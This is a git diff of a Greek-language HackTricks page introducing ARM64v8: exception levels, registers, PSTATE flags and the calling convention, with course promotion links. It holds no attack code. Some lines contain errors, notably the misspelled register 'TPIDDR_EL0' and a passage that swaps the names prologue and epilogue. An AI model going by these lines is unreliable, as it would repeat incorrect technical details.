Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,202 +1,257 @@
|
|||
# Εισαγωγή στο ARM64v8
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστηρίξτε το HackTricks</summary>
|
||||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Επίπεδα Εξαιρέσεων - EL (ARM64v8)**
|
||||
## **Επίπεδα Εξαίρεσης - EL (ARM64v8)**
|
||||
|
||||
Στην αρχιτεκτονική ARMv8, τα επίπεδα εκτέλεσης, γνωστά ως Επίπεδα Εξαιρέσεων (ELs), καθορίζουν το επίπεδο προνομίων και τις δυνατότητες του περιβάλλοντος εκτέλεσης. Υπάρχουν τέσσερα επίπεδα εξαιρέσεων, από το EL0 έως το EL3, το καθένα εξυπηρετώντας διαφορετικό σκοπό:
|
||||
Στην αρχιτεκτονική ARMv8, τα επίπεδα εκτέλεσης, γνωστά ως Επίπεδα Εξαίρεσης (ELs), καθορίζουν το επίπεδο προνομίων και τις δυνατότητες του περιβάλλοντος εκτέλεσης. Υπάρχουν τέσσερα επίπεδα εξαίρεσης, που κυμαίνονται από EL0 έως EL3, το καθένα εξυπηρετεί διαφορετικό σκοπό:
|
||||
|
||||
1. **EL0 - Λειτουργία Χρήστη**:
|
||||
* Αυτό είναι το επίπεδο με τα λιγότερα προνόμια και χρησιμοποιείται για την εκτέλεση κανονικού κώδικα εφαρμογών.
|
||||
* Οι εφαρμογές που εκτελούνται στο EL0 είναι απομονωμένες μεταξύ τους και από το λογισμικό συστήματος, βελτιώνοντας την ασφάλεια και τη σταθερότητα.
|
||||
2. **EL1 - Λειτουργικό Σύστημα Πυρήνα**:
|
||||
* Οι περισσότεροι πυρήνες λειτουργικών συστημάτων λειτουργούν σε αυτό το επίπεδο.
|
||||
* Το EL1 έχει περισσότερα προνόμια από το EL0 και μπορεί να έχει πρόσβαση σε πόρους συστήματος, αλλά με κάποιους περιορισμούς για να διασφαλιστεί η ακεραιότητα του συστήματος.
|
||||
3. **EL2 - Λειτουργία Υπερτροφοδοτητή**:
|
||||
* Αυτό το επίπεδο χρησιμοποιείται για εικονικοποίηση. Ένας υπερτροφοδοτητής που λειτουργεί στο EL2 μπορεί να διαχειριστεί πολλά λειτουργικά συστήματα (καθένα στο δικό του EL1) που λειτουργούν στον ίδιο φυσικό υλικό.
|
||||
* Το EL2 παρέχει χαρακτηριστικά για την απομόνωση και τον έλεγχο των εικονικών περιβαλλόντων.
|
||||
* Αυτό είναι το λιγότερο προνομιακό επίπεδο και χρησιμοποιείται για την εκτέλεση κανονικού κώδικα εφαρμογής.
|
||||
* Οι εφαρμογές που εκτελούνται στο EL0 είναι απομονωμένες η μία από την άλλη και από το λογισμικό του συστήματος, ενισχύοντας την ασφάλεια και τη σταθερότητα.
|
||||
2. **EL1 - Λειτουργία Πυρήνα Λειτουργικού Συστήματος**:
|
||||
* Οι περισσότεροι πυρήνες λειτουργικών συστημάτων εκτελούνται σε αυτό το επίπεδο.
|
||||
* Το EL1 έχει περισσότερα προνόμια από το EL0 και μπορεί να έχει πρόσβαση σε πόρους του συστήματος, αλλά με ορισμένους περιορισμούς για να διασφαλιστεί η ακεραιότητα του συστήματος.
|
||||
3. **EL2 - Λειτουργία Υπερχειριστή**:
|
||||
* Αυτό το επίπεδο χρησιμοποιείται για εικονικοποίηση. Ένας υπερχειριστής που εκτελείται στο EL2 μπορεί να διαχειρίζεται πολλαπλά λειτουργικά συστήματα (κάθε ένα στο δικό του EL1) που εκτελούνται στο ίδιο φυσικό υλικό.
|
||||
* Το EL2 παρέχει δυνατότητες για απομόνωση και έλεγχο των εικονικών περιβαλλόντων.
|
||||
4. **EL3 - Λειτουργία Ασφαλούς Παρακολούθησης**:
|
||||
* Αυτό είναι το πιο προνομιούχο επίπεδο και χρησιμοποιείται συχνά για ασφαλή εκκίνηση και περιβάλλοντα εκτέλεσης που μπορούν να εμπιστευτούν.
|
||||
* Το EL3 μπορεί να διαχειριστεί και να ελέγξει τις προσβάσεις μεταξύ ασφαλών και μη-ασφαλών καταστάσεων (όπως ασφαλή εκκίνηση, αξιόπιστο λειτουργικό σύστημα κλπ.).
|
||||
* Αυτό είναι το πιο προνομιακό επίπεδο και χρησιμοποιείται συχνά για ασφαλή εκκίνηση και αξιόπιστα περιβάλλοντα εκτέλεσης.
|
||||
* Το EL3 μπορεί να διαχειρίζεται και να ελέγχει τις προσβάσεις μεταξύ ασφαλών και μη ασφαλών καταστάσεων (όπως ασφαλής εκκίνηση, αξιόπιστο OS, κ.λπ.).
|
||||
|
||||
Η χρήση αυτών των επιπέδων επιτρέπει τη δομημένη και ασφαλή διαχείριση διαφορετικών πτυχών του συστήματος, από εφαρμογές χρηστών έως το πιο προνομιούχο λογισμικό συστήματος. Η προσέγγιση της ARMv8 στα επίπεδα προνομίων βοηθά στην απομόνωση διαφορετικών συστατικών του συστήματος με αποτέλεσμα την ενίσχυση της ασφάλειας και της ανθεκτικότητας του συστήματος.
|
||||
Η χρήση αυτών των επιπέδων επιτρέπει έναν δομημένο και ασφαλή τρόπο διαχείρισης διαφορετικών πτυχών του συστήματος, από τις εφαρμογές χρήστη έως το πιο προνομιακό λογισμικό του συστήματος. Η προσέγγιση του ARMv8 στα επίπεδα προνομίων βοηθά στην αποτελεσματική απομόνωση διαφορετικών στοιχείων του συστήματος, ενισχύοντας έτσι την ασφάλεια και την ανθεκτικότητα του συστήματος.
|
||||
|
||||
## **Καταχωρητές (ARM64v8)**
|
||||
|
||||
Το ARM64 έχει **31 καταχωρητές γενικής χρήσης**, με ετικέτες `x0` έως `x30`. Κάθε ένας μπορεί να αποθηκεύσει μια τιμή **64-bit** (8-byte). Για λειτουργίες που απαιτούν μόνο τιμές 32-bit, οι ίδιοι καταχωρητές μπορούν να προσπελαστούν σε λειτουργία 32-bit χρησιμοποιώντας τα ονόματα w0 έως w30.
|
||||
ARM64 έχει **31 γενικούς καταχωρητές**, που φέρουν ετικέτες `x0` έως `x30`. Κάθε ένας μπορεί να αποθηκεύσει μια **64-bit** (8-byte) τιμή. Για λειτουργίες που απαιτούν μόνο 32-bit τιμές, οι ίδιοι καταχωρητές μπορούν να προσπελαστούν σε 32-bit λειτουργία χρησιμοποιώντας τα ονόματα w0 έως w30.
|
||||
|
||||
1. **`x0`** έως **`x7`** - Αυτοί χρησιμοποιούνται συνήθως ως καταχωρητές scratch και για τη μετάδοση παραμέτρων σε υπορουτίνες.
|
||||
* Ο **`x0`** μεταφέρει επίσης τα δεδομένα επιστροφής μιας συνάρτησης.
|
||||
2. **`x8`** - Στον πυρήνα Linux, το `x8` χρησιμοποιείται ως ο αριθμός κλήσης συστήματος για την εντολή `svc`. **Στο macOS χρησιμοποιείται το x16!**
|
||||
1. **`x0`** έως **`x7`** - Αυτοί χρησιμοποιούνται συνήθως ως καταχωρητές scratch και για τη μεταφορά παραμέτρων σε υπορουτίνες.
|
||||
* **`x0`** μεταφέρει επίσης τα δεδομένα επιστροφής μιας συνάρτησης
|
||||
2. **`x8`** - Στον πυρήνα Linux, το `x8` χρησιμοποιείται ως αριθμός κλήσης συστήματος για την εντολή `svc`. **Στο macOS, το x16 είναι αυτό που χρησιμοποιείται!**
|
||||
3. **`x9`** έως **`x15`** - Περισσότεροι προσωρινοί καταχωρητές, συχνά χρησιμοποιούμενοι για τοπικές μεταβλητές.
|
||||
4. **`x16`** και **`x17`** - **Καταχωρητές Κλήσης Εντός-Διαδικασίας**. Προσωρινοί καταχωρητές για άμεσες τιμές. Χρησιμοποιούνται επίσης για άμεσες κλήσεις συναρτήσεων και στοιχεία PLT (Procedure Linkage Table).
|
||||
* Το **`x16`** χρησιμοποιείται ως ο αριθμός κλήσης συστήματος για την εντολή **`svc`** στο **macOS**.
|
||||
5. **`x18`** - **Καταχωρητής πλατφόρμας**. Μπορεί να χρησιμοποιηθεί ως καταχωρητής γενικής χρήσης, αλλά σε ορισμένες πλατφόρμες, αυτός ο καταχωρητής είναι διατηρημένος για πλατφορμοεξαρτημένες χρήσεις: Δείκτης προς το τρέχον τμήμα περιβάλλοντος νήματος στα Windows, ή για να δείχνει στη δομή της τρέχουσας εργασίας στον πυρήνα του Linux.
|
||||
6. **`x19`** έως **`x28`** - Αυτοί είναι καταχωρητές που διατηρούνται από τον καλούντα. Μια συνάρτηση πρέπει να διατηρεί τις τιμές αυτών των καταχωρητών για τον καλούντα της, έτσι αποθηκεύονται στη στοίβα και ανακτώνται πριν επιστρέψουν στον καλούντα.
|
||||
7. **`x29`** - **Δείκτης Πλαισίου** για να παρακολουθεί το πλαίσιο στοίβας. Όταν δημιουργείται ένα νέο πλαίσιο στοίβας επειδή καλείται μια συνάρτηση, ο καταχωρητής **`x29`** αποθηκεύεται στη στοίβα και η νέα διεύθυνση πλαισίου (διεύθυνση **`sp`**) αποθηκεύεται σε αυτόν τον καταχωρητή.
|
||||
* Αυτός ο καταχωρητής μπορεί επίσης να χρησιμοποιηθεί ως καταχωρητής γενικής χρήσης αν και συνήθως χρησιμοποιείται ως αναφορά σε τοπικές μεταβλητές.
|
||||
8. **`x30`** ή **`lr`**- **Καταχωρητής Συνδέσμου**. Κρατά τη διεύθυνση επιστροφής όταν εκτελείται μια εντολή `BL` (Branch with Link) ή `BLR` (Branch with Link to Register) αποθηκεύοντας την τιμή του
|
||||
4. **`x16`** και **`x17`** - **Καταχωρητές Ενδο-διαδικαστικής Κλήσης**. Προσωρινοί καταχωρητές για άμεσες τιμές. Χρησιμοποιούνται επίσης για έμμεσες κλήσεις συναρτήσεων και PLT (Procedure Linkage Table) stubs.
|
||||
* **`x16`** χρησιμοποιείται ως **αριθμός κλήσης συστήματος** για την **`svc`** εντολή στο **macOS**.
|
||||
5. **`x18`** - **Καταχωρητής πλατφόρμας**. Μπορεί να χρησιμοποιηθεί ως γενικός καταχωρητής, αλλά σε ορισμένες πλατφόρμες, αυτός ο καταχωρητής είναι δεσμευμένος για συγκεκριμένες χρήσεις πλατφόρμας: Δείκτης στο τρέχον περιβάλλον νήματος στο Windows, ή για να δείξει τη δομή τρέχουσας **εκτελούμενης εργασίας στον πυρήνα linux**.
|
||||
6. **`x19`** έως **`x28`** - Αυτοί είναι οι καταχωρητές που διατηρούνται από τον καλούμενο. Μια συνάρτηση πρέπει να διατηρεί τις τιμές αυτών των καταχωρητών για τον καλούντα, οπότε αποθηκεύονται στο στοίβα και ανακτώνται πριν επιστρέψουν στον καλούντα.
|
||||
7. **`x29`** - **Δείκτης πλαισίου** για την παρακολούθηση του πλαισίου στοίβας. Όταν δημιουργείται ένα νέο πλαίσιο στοίβας επειδή καλείται μια συνάρτηση, ο **`x29`** καταχωρητής **αποθηκεύεται στο στοίβα** και η **νέα** διεύθυνση δείκτη πλαισίου είναι (**`sp`** διεύθυνση) **αποθηκεύεται σε αυτόν τον καταχωρητή**.
|
||||
* Αυτός ο καταχωρητής μπορεί επίσης να χρησιμοποιηθεί ως **γενικός καταχωρητής** αν και συνήθως χρησιμοποιείται ως αναφορά σε **τοπικές μεταβλητές**.
|
||||
8. **`x30`** ή **`lr`**- **Καταχωρητής σύνδεσης**. Διατηρεί τη **διεύθυνση επιστροφής** όταν εκτελείται μια εντολή `BL` (Branch with Link) ή `BLR` (Branch with Link to Register) αποθηκεύοντας την τιμή **`pc`** σε αυτόν τον καταχωρητή.
|
||||
* Μπορεί επίσης να χρησιμοποιηθεί όπως οποιοσδήποτε άλλος καταχωρητής.
|
||||
* Εάν η τρέχουσα συνάρτηση πρόκειται να καλέσει μια νέα συνάρτηση και επομένως να επαναγράψει το `lr`, θα το αποθηκεύσει στο στοίβα στην αρχή, αυτό είναι το επιλόγιο (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Αποθήκευση `fp` και `lr`, δημιουργία χώρου και λήψη νέου `fp`) και θα το ανακτήσει στο τέλος, αυτό είναι το πρόλογο (`ldp x29, x30, [sp], #48; ret` -> Ανάκτηση `fp` και `lr` και επιστροφή).
|
||||
9. **`sp`** - **Δείκτης στοίβας**, χρησιμοποιείται για την παρακολούθηση της κορυφής της στοίβας.
|
||||
* Η τιμή **`sp`** θα πρέπει πάντα να διατηρείται τουλάχιστον σε **ευθυγράμμιση quadword** ή μπορεί να προκύψει εξαίρεση ευθυγράμμισης.
|
||||
10. **`pc`** - **Μετρητής προγράμματος**, που δείχνει στην επόμενη εντολή. Αυτός ο καταχωρητής μπορεί να ενημερωθεί μόνο μέσω γενεών εξαιρέσεων, επιστροφών εξαιρέσεων και κλάδων. Οι μόνοι κανονικοί εντολές που μπορούν να διαβάσουν αυτόν τον καταχωρητή είναι οι εντολές branch with link (BL, BLR) για να αποθηκεύσουν τη διεύθυνση **`pc`** στο **`lr`** (Καταχωρητής Σύνδεσης).
|
||||
11. **`xzr`** - **Καταχωρητής μηδέν**. Ονομάζεται επίσης **`wzr`** στην **32**-bit μορφή του. Μπορεί να χρησιμοποιηθεί για να αποκτήσει εύκολα την τιμή μηδέν (συνηθισμένη λειτουργία) ή για να εκτελέσει συγκρίσεις χρησιμοποιώντας **`subs`** όπως **`subs XZR, Xn, #10`** αποθηκεύοντας τα αποτελέσματα που προκύπτουν πουθενά (στο **`xzr`**).
|
||||
|
||||
Οι καταχωρητές **`Wn`** είναι η **32bit** έκδοση του καταχωρητή **`Xn`**.
|
||||
|
||||
### SIMD και Καταχωρητές Κινητής Τελείας
|
||||
|
||||
Επιπλέον, υπάρχουν άλλοι **32 καταχωρητές μήκους 128bit** που μπορούν να χρησιμοποιηθούν σε βελτιστοποιημένες λειτουργίες πολλαπλών δεδομένων με μία εντολή (SIMD) και για την εκτέλεση αριθμητικών υπολογισμών κινητής υποδιαστολής. Αυτοί ονομάζονται καταχωρητές Vn αν και μπορούν επίσης να λειτουργούν σε **64**-bit, **32**-bit, **16**-bit και **8**-bit και τότε ονομάζονται **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** και **`Bn`**.
|
||||
|
||||
### Καταχωρητές Συστήματος
|
||||
|
||||
**Υπάρχουν εκατοντάδες καταχωρητές συστήματος**, επίσης ονομάζονται καταχωρητές ειδικού σκοπού (SPRs), που χρησιμοποιούνται για την **παρακολούθηση** και **έλεγχο** της συμπεριφοράς των **επεξεργαστών**.\
|
||||
Μπορούν να διαβαστούν ή να οριστούν μόνο χρησιμοποιώντας τις αφιερωμένες ειδικές εντολές **`mrs`** και **`msr`**.
|
||||
**Υπάρχουν εκατοντάδες καταχωρητές συστήματος**, που ονομάζονται επίσης ειδικοί καταχωρητές (SPRs), που χρησιμοποιούνται για **παρακολούθηση** και **έλεγχο** της συμπεριφοράς των **επεξεργαστών**.\
|
||||
Μπορούν να διαβαστούν ή να ρυθμιστούν μόνο χρησιμοποιώντας τις ειδικές εντολές **`mrs`** και **`msr`**.
|
||||
|
||||
Οι ειδικοί καταχωρητές **`TPIDR_EL0`** και **`TPIDDR_EL0`** συναντώνται συχνά κατά την αντιστροφή μηχανικής. Το επίθεμα `EL0` υποδηλώνει την **ελάχιστη εξαίρεση** από την οποία ο καταχωρητής μπορεί να προσπελαστεί (σε αυτήν την περίπτωση το EL0 είναι το κανονικό επίπεδο εξαίρεσης (προνόμιο) που τρέχουν τα κανονικά προγράμματα).\
|
||||
Συχνά χρησιμοποιούνται για να αποθηκεύσουν τη **βασική διεύθυνση της περιοχής αποθήκευσης τοπικών νημάτων** μνήμης. Συνήθως ο πρώτος είναι αναγνώσιμος και εγγράψιμος για προγράμματα που τρέχουν στο EL0, αλλά ο δεύτερος μπορεί να διαβαστεί από το EL0 και να γραφτεί από το EL1 (όπως το πυρήνας).
|
||||
Οι ειδικοί καταχωρητές **`TPIDR_EL0`** και **`TPIDDR_EL0`** βρίσκονται συχνά κατά την αντίστροφη μηχανική. Το επίθημα `EL0` υποδηλώνει την **ελάχιστη εξαίρεση** από την οποία μπορεί να προσπελαστεί ο καταχωρητής (σε αυτή την περίπτωση το EL0 είναι το κανονικό επίπεδο εξαίρεσης (προνομίων) με το οποίο εκτελούνται τα κανονικά προγράμματα).\
|
||||
Συνήθως χρησιμοποιούνται για την αποθήκευση της **βάσης διεύθυνσης της περιοχής αποθήκευσης τοπικών νημάτων** μνήμης. Συνήθως ο πρώτος είναι αναγνώσιμος και εγγράψιμος για προγράμματα που εκτελούνται στο EL0, αλλά ο δεύτερος μπορεί να διαβαστεί από το EL0 και να γραφεί από το EL1 (όπως ο πυρήνας).
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; Διάβασε το TPIDR_EL0 στο x0`
|
||||
* `msr TPIDR_EL0, X0 ; Γράψε το x0 στο TPIDR_EL0`
|
||||
* `mrs x0, TPIDR_EL0 ; Διαβάστε το TPIDR_EL0 στο x0`
|
||||
* `msr TPIDR_EL0, X0 ; Γράψτε το x0 στο TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
Το **PSTATE** περιέχει αρκετά στοιχεία διεργασίας που έχουν σειριοποιηθεί στον ορατό από το λειτουργικό σύστημα ειδικό καταχωρητή **`SPSR_ELx`**, όπου το X είναι το **επίπεδο άδειας** **της πυροδότησης** εξαίρεσης (αυτό επιτρέπει την ανάκτηση της κατάστασης της διεργασίας όταν τελειώνει η εξαίρεση).\
|
||||
**PSTATE** περιέχει αρκετά στοιχεία διαδικασίας σειριακά στο ορατό από το λειτουργικό σύστημα **`SPSR_ELx`** ειδικό καταχωρητή, όπου το X είναι το **επίπεδο άδειας** **της ενεργοποιημένης** εξαίρεσης (αυτό επιτρέπει την ανάκτηση της κατάστασης της διαδικασίας όταν τελειώνει η εξαίρεση).\
|
||||
Αυτά είναι τα προσβάσιμα πεδία:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Τα σημαία **`N`**, **`Z`**, **`C`** και **`V`** συνθήκης:
|
||||
* Το **`N`** σημαίνει ότι η λειτουργία παρήγαγε αρνητικό αποτέλεσμα
|
||||
* Το **`Z`** σημαίνει ότι η λειτουργία παρήγαγε μηδέν
|
||||
* Το **`C`** σημαίνει ότι η λειτουργία μεταφέρθηκε
|
||||
* Το **`V`** σημαίνει ότι η λειτουργία παρήγαγε υπερχείλιση με πρόσημο:
|
||||
* Το άθροισμα δύο θετικών αριθμών παράγει αρνητικό αποτέλεσμα.
|
||||
* Το άθροισμα δύο αρνητικών αριθμών παράγει θετικό αποτέλεσμα.
|
||||
* Στην αφαίρεση, όταν από ένα μικρότερο θετικό αριθμό αφαιρεθεί ένας μεγαλύτερος αρνητικός αριθμός (ή αντίστροφα), και το αποτέλεσμα δεν μπορεί να αναπαρασταθεί εντός του εύρους του δοθέντος μεγέθους bit.
|
||||
* Φυσικά ο επεξεργαστής δεν γνωρίζει αν η λειτουργία είναι με πρόσημο ή όχι, οπότε θα ελέγξει τα C και V στις λειτουργίες και θα υποδείξει αν υπήρξε μεταφορά στην περίπτωση που ήταν με πρόσημο ή χωρίς.
|
||||
* Οι σημαίες συνθηκών **`N`**, **`Z`**, **`C`** και **`V`**:
|
||||
* **`N`** σημαίνει ότι η λειτουργία απέδωσε αρνητικό αποτέλεσμα
|
||||
* **`Z`** σημαίνει ότι η λειτουργία απέδωσε μηδέν
|
||||
* **`C`** σημαίνει ότι η λειτουργία είχε μεταφορά
|
||||
* **`V`** σημαίνει ότι η λειτουργία απέδωσε υπερχείλιση υπογραφής:
|
||||
* Το άθροισμα δύο θετικών αριθμών αποδίδει αρνητικό αποτέλεσμα.
|
||||
* Το άθροισμα δύο αρνητικών αριθμών αποδίδει θετικό αποτέλεσμα.
|
||||
* Στην αφαίρεση, όταν αφαιρείται ένας μεγάλος αρνητικός αριθμός από έναν μικρό θετικό αριθμό (ή το αντίστροφο), και το αποτέλεσμα δεν μπορεί να αναπαρασταθεί εντός του εύρους του δεδομένου μεγέθους bit.
|
||||
* Προφανώς, ο επεξεργαστής δεν γνωρίζει αν η λειτουργία είναι υπογεγραμμένη ή όχι, οπότε θα ελέγξει το C και το V στις λειτουργίες και θα υποδείξει αν συνέβη μεταφορά σε περίπτωση που ήταν υπογεγραμμένη ή μη υπογεγραμμένη.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Όχι όλες οι εντολές ενημερώνουν αυτές τις σημαίες. Κάποιες όπως **`CMP`** ή **`TST`** το κάνουν, και άλλες που έχουν κατάληξη s όπως **`ADDS`** επίσης το κάνουν.
|
||||
Όχι όλες οι εντολές ενημερώνουν αυτές τις σημαίες. Ορισμένες όπως **`CMP`** ή **`TST`** το κάνουν, και άλλες που έχουν ένα s επίθημα όπως **`ADDS`** το κάνουν επίσης.
|
||||
{% endhint %}
|
||||
|
||||
* Η τρέχουσα σημαία πλάτους καταχωρητή (`nRW`): Αν η σημαία κρατά την τιμή 0, το πρόγραμμα θα τρέξει στην κατάσταση εκτέλεσης AArch64 μόλις επαναφερθεί.
|
||||
* Το τρέχον **Επίπεδο Εξαίρεσης** (**`EL`**): Ένα κανονικό πρόγραμμα που τρέχει στο EL0 θα έχει την τιμή 0
|
||||
* Η σημαία **μονής βήματος** (**`SS`**): Χρησιμοποιείται από debuggers για μονή βήματοποίηση με την ρύθμιση της σημαίας SS σε 1 μέσα στο **`SPSR_ELx`** μέσω μιας εξαίρεσης. Το πρόγραμμα θα εκτελέσει ένα βήμα και θα εκδώσει μια εξαίρεση μονής βήματος.
|
||||
* Η σημαία κατάστασης παράνομης εξαίρεσης (**`IL`**): Χρησιμοποιείται για να επισημάνει όταν ένα προνομιούχο λογισμικό εκτελεί μια μη έγκυρη μεταφορά επιπέδου εξαίρεσης, αυτή η σημαία ορίζεται σε 1 και ο επεξεργαστής εκδηλώνει μια παράνομη κατάσταση εξαίρεσης.
|
||||
* Οι σημαίες **`DAIF`**: Αυτές οι σημαίες επιτρέπουν σε ένα προνομιούχο πρόγραμμα να μάσκαρει εκλεκτικά ορισμένες εξωτερικές εξαιρέσεις.
|
||||
* Αν το **`A`** είναι 1 σημαίνει ότι θα πυροδοτηθούν **ασύγχρονες αποτυχίες**. Το **`I`** ρυθμίζει την ανταπόκριση σε εξωτερικά υλικά **Αιτήματα Διακοπών** (IRQs) και το F σχετίζεται με τα **Αιτήματα Γρήγορων Διακοπών** (FIRs).
|
||||
* Οι σημαίες επιλογής δείκτη στοίβας (**`SPS`**): Τα προνομιούχα προγράμματα που τρέχουν στο EL1 και πάνω μπορούν να αλλάζουν μεταξύ της χρήσης του δικού τους καταχωρητή δείκτη στοίβας και του μοντέλου χρήστη (π.χ. μεταξύ `SP_EL1` και `EL0`). Αυτή η αλλαγή γίνεται με την εγγραφή στον ειδικό καταχωρητή **`SPSel`**. Αυτό δεν μπορεί να γίνει από το EL0.
|
||||
* Η τρέχουσα σημαία **πλάτους καταχωρητή (`nRW`)**: Εάν η σημαία έχει την τιμή 0, το πρόγραμμα θα εκτελείται στην κατάσταση εκτέλεσης AArch64 μόλις επανεκκινηθεί.
|
||||
* Το τρέχον **Επίπεδο Εξαίρεσης** (**`EL`**): Ένα κανονικό πρόγραμμα που εκτελείται στο EL0 θα έχει την τιμή 0
|
||||
* Η σημαία **μοναδικού βήματος** (**`SS`**): Χρησιμοποιείται από αποσφαλματωτές για να εκτελούν μοναδικά βήματα ρυθμίζοντας τη σημαία SS σε 1 μέσα στο **`SPSR_ELx`** μέσω μιας εξαίρεσης. Το πρόγραμμα θα εκτελέσει ένα βήμα και θα εκδώσει μια εξαίρεση μοναδικού βήματος.
|
||||
* Η σημαία **κατάστασης παράνομης εξαίρεσης** (**`IL`**): Χρησιμοποιείται για να σημάνει πότε ένα προνομιακό λογισμικό εκτελεί μια μη έγκυρη μεταφορά επιπέδου εξαίρεσης, αυτή η σημαία ρυθμίζεται σε 1 και ο επεξεργαστής ενεργοποιεί μια εξαίρεση παράνομης κατάστασης.
|
||||
* Οι σημαίες **`DAIF`**: Αυτές οι σημαίες επιτρέπουν σε ένα προνομιακό πρόγραμμα να επιλέξει να αποκλείσει ορισμένες εξωτερικές εξαιρέσεις.
|
||||
* Εάν **`A`** είναι 1 σημαίνει ότι θα ενεργοποιηθούν **ασύγχρονοι τερματισμοί**. Η **`I`** ρυθμίζει την αντίδραση σε εξωτερικά αιτήματα διακοπής (IRQs). και το F σχετίζεται με **Γρήγορα Αιτήματα Διακοπής** (FIRs).
|
||||
* Οι σημαίες επιλογής δείκτη στοίβας (**`SPS`**): Προνομιακά προγράμματα που εκτελούνται στο EL1 και άνω μπορούν να εναλλάσσουν τη χρήση του δικού τους καταχωρητή δείκτη στοίβας και του καταχωρητή μοντέλου χρήστη (π.χ. μεταξύ `SP_EL1` και `EL0`). Αυτή η εναλλαγή πραγματοποιείται γράφοντας στον ειδικό καταχωρητή **`SPSel`**. Αυτό δεν μπορεί να γίνει από το EL0.
|
||||
|
||||
## **Σύμβαση Κλήσης (ARM64v8)**
|
||||
|
||||
Η σύμβαση κλήσης ARM64 καθορίζει ότι οι **πρώτες οκτώ παράμετροι** μιας συνάρτησης περνιούνται στους καταχωρητές **`x0` έως `x7`**. **Επιπλέον** παράμετροι περνιούνται στη **στοίβα**. Η τιμή **επιστροφής** περνιέται πίσω στον καταχωρητή **`x0`**, ή στον **`x1`** επίσης **αν είναι 128 bits μακριά**. Οι καταχωρητές **`x19`** έως **`x30`** και **`sp`** πρέπει να **διατηρηθούν** μεταξύ κλήσεων συναρτήσεων.
|
||||
Η σύμβαση κλήσης ARM64 καθορίζει ότι οι **πρώτες οκτώ παράμετροι** σε μια συνάρτηση μεταφέρονται στους καταχωρητές **`x0` έως `x7`**. **Επιπλέον** παράμετροι μεταφέρονται στο **στοίβα**. Η **τιμή επιστροφής** μεταφέρεται πίσω στον καταχωρητή **`x0`**, ή στο **`x1`** επίσης **αν είναι 128 bits**. Οι καταχωρητές **`x19`** έως **`x30`** και **`sp`** πρέπει να **διατηρούνται** κατά τις κλήσεις συναρτήσεων.
|
||||
|
||||
Όταν διαβάζετε μια συνάρτηση σε συναρμολόγηση, ψάξτε για το **προλόγο και επίλογο** της συνάρτησης. Ο **πρόλογος** συνήθως περιλαμβάνει το **αποθήκευση του δείκτη πλαισίου (`x29`)**, την **ρύθμιση** ενός **νέου δείκτη πλαισίου** και την **κατανομή χώρου στοίβας**. Ο **επίλογος** συνήθως περιλαμβάνει την **επαναφορά του αποθηκευμένου δείκτη πλαισίου** και την **επιστροφή** από τη συνάρτηση.
|
||||
